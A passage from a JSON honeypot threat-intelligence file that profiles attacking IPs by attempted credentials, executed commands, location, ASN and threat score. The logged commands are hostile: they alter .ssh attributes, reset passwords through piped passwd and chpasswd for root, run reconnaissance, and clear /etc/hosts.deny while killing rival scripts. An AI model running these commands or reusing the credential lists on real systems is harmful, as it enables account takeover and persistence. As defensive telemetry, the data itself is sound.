        "acaadmin",
        "hosting",
        "k8s123",
        "n8n",
        "sunshine",
        "ts3",
        "word",
        "yy",
        "admin",
        "adminftp",
        "ai",
        "andras",
        "atul",
        "casa",
        "cdn",
        "dashboard",
        "devopsuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "password",
        "1234",
        "12345678",
        "1233218613",
        "12345",
        "123654",
        "1999",
        "Odin1434",
        "Sshtunnel123",
        "Testing123",
        "acaadmin",
        "admin1234",
        "adminftp",
        "atul",
        "casa",
        "cdn"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nwFcyBPvoRJeE\\nwFcyBPvoRJeE\\n\"|passwd",
        "echo \"1234\\nAklfBTfZzNH0\\nAklfBTfZzNH0\\n\"|passwd",
        "echo \"123\\nIAcRtnQXmpGL\\nIAcRtnQXmpGL\\n\"|passwd",
        "echo \"acaadmin\\nmshOQoeMkOn1\\nmshOQoeMkOn1\\n\"|passwd",
        "echo \"k8s123\\nVVXWfKNWkRD6\\nVVXWfKNWkRD6\\n\"|passwd",
        "echo \"word123\\n3WCP4o3eQ1vQ\\n3WCP4o3eQ1vQ\\n\"|passwd",
        "echo -e \"123456\\nwFcyBPvoRJeE\\nwFcyBPvoRJeE\"|passwd|bash",
        "echo -e \"1234\\nAklfBTfZzNH0\\nAklfBTfZzNH0\"|passwd|bash",
        "echo -e \"123\\nIAcRtnQXmpGL\\nIAcRtnQXmpGL\"|passwd|bash",
        "echo -e \"acaadmin\\nmshOQoeMkOn1\\nmshOQoeMkOn1\"|passwd|bash",
        "echo -e \"k8s123\\nVVXWfKNWkRD6\\nVVXWfKNWkRD6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Nola",
      "asn": 203462,
      "as_org": "Novaconn Srl",
      "threat_score": 43.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.3,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 844,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T23:19:48.682000+00:00",
        "last_seen_30d": "2026-03-24T21:48:56.300000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 698,
        "Suricata": 146
      }
    },
    "14.55.144.22": {
      "attack_count": 642,
      "first_seen": "2026-03-08T04:16:50.172Z",
      "last_seen": "2026-03-11T15:49:21.779Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "camera",
        "es_user",
        "gns3",
        "mssql",
        "pavel",
        "arkserver",
        "beehive",
        "bounce",
        "dmdba",
        "home",
        "jhpark",
        "jon",
        "lcx",
        "lzy",
        "mailuser",
        "marco",
        "mitra",
        "n8n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "123456",
        "camera123",
        "123",
        "1234",
        "123@.com",
        "1qaz2wsx@",
        "5tgb$RFV",
        "Aa111111",
        "Arkserver123",
        "Bounce123",
        "Gns3123",
        "beehive1234",
        "dmdba",
        "home123",
        "mailuser1234",
        "mitra123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nIigPg2a564sw\\nIigPg2a564sw\\n\"|passwd",
        "echo \"123\\nEhaGVz5dboAF\\nEhaGVz5dboAF\\n\"|passwd",
        "echo \"Gns3123\\nfH7PiZcUt3Vg\\nfH7PiZcUt3Vg\\n\"|passwd",
        "echo \"camera123\\nnPe8YGo4mGNR\\nnPe8YGo4mGNR\\n\"|passwd",
        "echo \"camera123\\nre3LN46SrRnc\\nre3LN46SrRnc\\n\"|passwd",
        "echo \"mssqlpass\\nqeIolf3AtD9J\\nqeIolf3AtD9J\\n\"|passwd",
        "echo \"root:HLs1j4jr7CHD\"|chpasswd|bash",
        "echo -e \"1234\\nIigPg2a564sw\\nIigPg2a564sw\"|passwd|bash",
        "echo -e \"123\\nEhaGVz5dboAF\\nEhaGVz5dboAF\"|passwd|bash",
        "echo -e \"Gns3123\\nfH7PiZcUt3Vg\\nfH7PiZcUt3Vg\"|passwd|bash",
        "echo -e \"camera123\\nnPe8YGo4mGNR\\nnPe8YGo4mGNR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jeonju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 752,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:16:50.172000+00:00",
        "last_seen_30d": "2026-03-11T15:50:24.866000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 642,
        "Suricata": 110
      }
    },
    "103.76.120.118": {
      "attack_count": 594,
      "first_seen": "2026-03-15T10:41:23.037Z",
      "last_seen": "2026-03-20T19:34:40.315Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ankit",
        "anna",
        "mininet",
        "rico",
        "sdtd",
        "user1",
        "a",
        "administrator",
        "alumno",
        "ds",
        "erwin",
        "ftpsecure",
        "geonode",
        "interview",
        "lq",
        "lsfadmin",
        "music",
        "proradis"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "123",
        "1234",
        "99999999",
        "Aa@12345678",
        "Administrator123",
        "Anna123!",
        "Docker!",
        "Geonode123",
        "Lsfadmin123!",
        "Rico123!",
        "Sa123!",
        "aa123456..",
        "ankitpassword",
        "asdf",
        "ds@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nqaXIShehChXu\\nqaXIShehChXu\\n\"|passwd",
        "echo \"Anna123!\\nMzbdWXDF29By\\nMzbdWXDF29By\\n\"|passwd",
        "echo \"Rico123!\\nUQl0EDD6PGjH\\nUQl0EDD6PGjH\\n\"|passwd",
        "echo \"ankitpassword\\n4uZ60ML3wm5I\\n4uZ60ML3wm5I\\n\"|passwd",
        "echo \"mininetpass\\nQWuUXn4jrlwL\\nQWuUXn4jrlwL\\n\"|passwd",
        "echo \"user1\\nUT09IkS0l7Eg\\nUT09IkS0l7Eg\\n\"|passwd",
        "echo -e \"123\\nqaXIShehChXu\\nqaXIShehChXu\"|passwd|bash",
        "echo -e \"Anna123!\\nMzbdWXDF29By\\nMzbdWXDF29By\"|passwd|bash",
        "echo -e \"Rico123!\\nUQl0EDD6PGjH\\nUQl0EDD6PGjH\"|passwd|bash",
        "echo -e \"ankitpassword\\n4uZ60ML3wm5I\\n4uZ60ML3wm5I\"|passwd|bash",
        "echo -e \"mininetpass\\nQWuUXn4jrlwL\\nQWuUXn4jrlwL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 718,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T10:41:23.037000+00:00",
        "last_seen_30d": "2026-03-20T19:35:44.871000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 594,
        "Suricata": 124
      }
    },
    "116.110.221.21": {
      "attack_count": 529,
      "first_seen": "2026-03-17T23:39:13.379Z",
      "last_seen": "2026-03-18T00:10:31.154Z",
      "sessions": 105,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "test",
        "cisco",
        "ftp",
        "support",
        "ubnt",
        "*****",
        "123456",
        "admian",
        "anton",
        "ashish",
        "auto",
        "backup",
        "belkinstyle",
        "bin",
        "brenda",
        "btf",
        "cf1c22"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "1234",
        "12345",
        "123456",
        "abc123",
        "*****",
        "1",
        "1111",
        "111111",
        "123",
        "123456789",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 760,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:33:42.604000+00:00",
        "last_seen_30d": "2026-03-18T00:11:39.142000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 529,
        "Suricata": 231
      }
    },
    "93.71.118.99": {
      "attack_count": 514,
      "first_seen": "2026-03-08T12:20:08.213Z",
      "last_seen": "2026-03-17T14:15:11.681Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "geo",
        "huang",
        "pengbo",
        "prueba",
        "sg",
        "superman",
        "aa",
        "eadmin",
        "linuxbrew",
        "localhost",
        "monitoring",
        "ociispth",
        "pp",
        "runner",
        "server",
        "toan",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "1234",
        "12345",
        "123456",
        "A100s200",
        "Aa1234567",
        "Localhost123!",
        "Monitoring123!",
        "Ociispth123!",
        "eadmin1234",
        "geo123!",
        "huang1234",
        "linuxbrew123",
        "password",
        "password1234",
        "pengbo",
        "prueba",
        "runner123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nzjKCsSQljqGo\\nzjKCsSQljqGo\\n\"|passwd",
        "echo \"12345\\nIQ6Bredrt93Y\\nIQ6Bredrt93Y\\n\"|passwd",
        "echo \"geo123!\\ntnjohvqB9FHq\\ntnjohvqB9FHq\\n\"|passwd",
        "echo \"huang1234\\nVHWDKZkJY9Gd\\nVHWDKZkJY9Gd\\n\"|passwd",
        "echo \"pengbo\\n601GYv9ZXz7S\\n601GYv9ZXz7S\\n\"|passwd",
        "echo \"prueba\\ntRDAGdPojRmj\\ntRDAGdPojRmj\\n\"|passwd",
        "echo -e \"123456\\nzjKCsSQljqGo\\nzjKCsSQljqGo\"|passwd|bash",
        "echo -e \"12345\\nIQ6Bredrt93Y\\nIQ6Bredrt93Y\"|passwd|bash",
        "echo -e \"geo123!\\ntnjohvqB9FHq\\ntnjohvqB9FHq\"|passwd|bash",
        "echo -e \"huang1234\\nVHWDKZkJY9Gd\\nVHWDKZkJY9Gd\"|passwd|bash",
        "echo -e \"pengbo\\n601GYv9ZXz7S\\n601GYv9ZXz7S\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:20:08.213000+00:00",
        "last_seen_30d": "2026-03-17T14:16:14.753000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 514,
        "Suricata": 76
      }
    },
    "101.36.117.42": {
      "attack_count": 395,
      "first_seen": "2026-03-15T16:06:45.688Z",
      "last_seen": "2026-03-15T16:26:57.752Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cs",
        "pepe",
        "student2",
        "vas",
        "webapp",
        "bitwarden",
        "ftpuser01",
        "informatica",
        "itadmin",
        "kirill"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Bitwarden123!",
        "Itadmin123",
        "Student2123",
        "informatica123",
        "kirill123!",
        "password",
        "webapp123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ncwPFQrQS9Jwh\\ncwPFQrQS9Jwh\\n\"|passwd",
        "echo \"12345\\nC9RszaXOXza3\\nC9RszaXOXza3\\n\"|passwd",
        "echo \"1234\\niOzDpkUOPYzV\\niOzDpkUOPYzV\\n\"|passwd",
        "echo \"Student2123\\ntTqJXMozlHo5\\ntTqJXMozlHo5\\n\"|passwd",
        "echo \"webapp123!\\nFT3eT410kLbN\\nFT3eT410kLbN\\n\"|passwd",
        "echo -e \"12345678\\ncwPFQrQS9Jwh\\ncwPFQrQS9Jwh\"|passwd|bash",
        "echo -e \"12345\\nC9RszaXOXza3\\nC9RszaXOXza3\"|passwd|bash",
        "echo -e \"1234\\niOzDpkUOPYzV\\niOzDpkUOPYzV\"|passwd|bash",
        "echo -e \"Student2123\\ntTqJXMozlHo5\\ntTqJXMozlHo5\"|passwd|bash",
        "echo -e \"webapp123!\\nFT3eT410kLbN\\nFT3eT410kLbN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:06:45.688000+00:00",
        "last_seen_30d": "2026-03-15T16:27:59.073000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 395,
        "Suricata": 44
      }
    },
    "156.253.5.146": {
      "attack_count": 380,
      "first_seen": "2026-03-20T21:15:54.091Z",
      "last_seen": "2026-03-28T23:43:39.556Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "t128",
        "andre",
        "anna",
        "docker",
        "drcom",
        "fff",
        "int",
        "marc",
        "r",
        "scan",
        "temp",
        "trade",
        "uftp",
        "vmware"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "!2345Qwert",
        "12345",
        "12345678",
        "1236547890",
        "Abc123123",
        "Admin1234%",
        "Einstein@123",
        "He123456!",
        "P@ssw0rd@1",
        "T128",
        "Test123123",
        "Trade123!",
        "abc123abc123",
        "admin@520",
        "andrepass",
        "centos2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"T128\\nW0by1zBZ4t8T\\nW0by1zBZ4t8T\\n\"|passwd",
        "echo \"root:TR3rcPc5oATP\"|chpasswd|bash",
        "echo \"root:xNlG87WdXYSI\"|chpasswd|bash",
        "echo -e \"T128\\nW0by1zBZ4t8T\\nW0by1zBZ4t8T\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 43.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 477,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T21:15:54.091000+00:00",
        "last_seen_30d": "2026-03-28T23:44:46.826000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 97
      }
    },
    "94.143.139.20": {
      "attack_count": 376,
      "first_seen": "2026-03-07T18:23:55.365Z",
      "last_seen": "2026-03-09T02:03:07.579Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "administrator",
        "jeff",
        "plex",
        "webmin",
        "amin",
        "bitrix",
        "builder",
        "cisco",
        "hu",
        "lorenzo",
        "michael",
        "mssql",
        "nikita",
        "palworld",
        "sami",
        "soporte",
        "sshtunnel",
        "student2",
        "test1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "12345678",
        "1234",
        "Jeff123",
        "administrator123!",
        "bitrix",
        "hu",
        "michael123",
        "nikita",
        "palworldpass",
        "password",
        "plex1234",
        "sami123",
        "soporte1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n54CSc7nAvfhJ\\n54CSc7nAvfhJ\\n\"|passwd",
        "echo \"Jeff123\\nSVnKvWTyqU9o\\nSVnKvWTyqU9o\\n\"|passwd",
        "echo \"administrator123!\\nkaEmklQqMMVe\\nkaEmklQqMMVe\\n\"|passwd",
        "echo \"plex1234\\n2R6WswUxZNA8\\n2R6WswUxZNA8\\n\"|passwd",
        "echo -e \"12345678\\n54CSc7nAvfhJ\\n54CSc7nAvfhJ\"|passwd|bash",
        "echo -e \"Jeff123\\nSVnKvWTyqU9o\\nSVnKvWTyqU9o\"|passwd|bash",
        "echo -e \"administrator123!\\nkaEmklQqMMVe\\nkaEmklQqMMVe\"|passwd|bash",
        "echo -e \"plex1234\\n2R6WswUxZNA8\\n2R6WswUxZNA8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T18:23:55.365000+00:00",
        "last_seen_30d": "2026-03-09T02:04:09.563000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 64
      }
    },
    "103.56.30.33": {
      "attack_count": 287,
      "first_seen": "2026-03-10T05:29:38.077Z",
      "last_seen": "2026-03-26T13:10:32.637Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "apexuser",
        "gg",
        "root",
        "websphere",
        "admin",
        "chrism",
        "clawd",
        "dheeraj",
        "eu",
        "ftp_test",
        "fuzzer",
        "ruby",
        "saad",
        "sky",
        "terraria"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "Abcd1234.",
        "Root12345",
        "apexuser123!",
        "chrism",
        "dheeraj123!",
        "ruby123",
        "saad123!",
        "terraria123!",
        "websphere123",
        "welcome"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\n4zOLfCxYgi15\\n4zOLfCxYgi15\\n\"|passwd",
        "echo \"apexuser123!\\nNP77kJuJrHvS\\nNP77kJuJrHvS\\n\"|passwd",
        "echo \"websphere123\\nvucbcHC1Fd7S\\nvucbcHC1Fd7S\\n\"|passwd",
        "echo -e \"1234\\n4zOLfCxYgi15\\n4zOLfCxYgi15\"|passwd|bash",
        "echo -e \"apexuser123!\\nNP77kJuJrHvS\\nNP77kJuJrHvS\"|passwd|bash",
        "echo -e \"websphere123\\nvucbcHC1Fd7S\\nvucbcHC1Fd7S\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Warangal",
      "asn": 138239,
      "as_org": "Vaishnavi Online Internet Services Pvt. Ltd.",
      "threat_score": 42.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 337,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:29:38.077000+00:00",
        "last_seen_30d": "2026-03-26T13:11:35.203000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 50
      }
    },
    "152.32.239.90": {
      "attack_count": 278,
      "first_seen": "2026-03-13T02:45:17.253Z",
      "last_seen": "2026-03-20T21:09:33.287Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "cloud",
        "operador",
        "sav",
        "123456",
        "apache",
        "bai",
        "cb",
        "deluge",
        "family",
        "franco",
        "g",
        "kesh",
        "king",
        "lingan",
        "linux",
        "marc",
        "melo"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123456Aa.",
        "@dmin123",
        "Aa@123",
        "Apache123",
        "Family123",
        "G",
        "Linux123",
        "Operador123!",
        "Sav123!",
        "cb1234",
        "deluge",
        "linganpass",
        "marcmarc"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
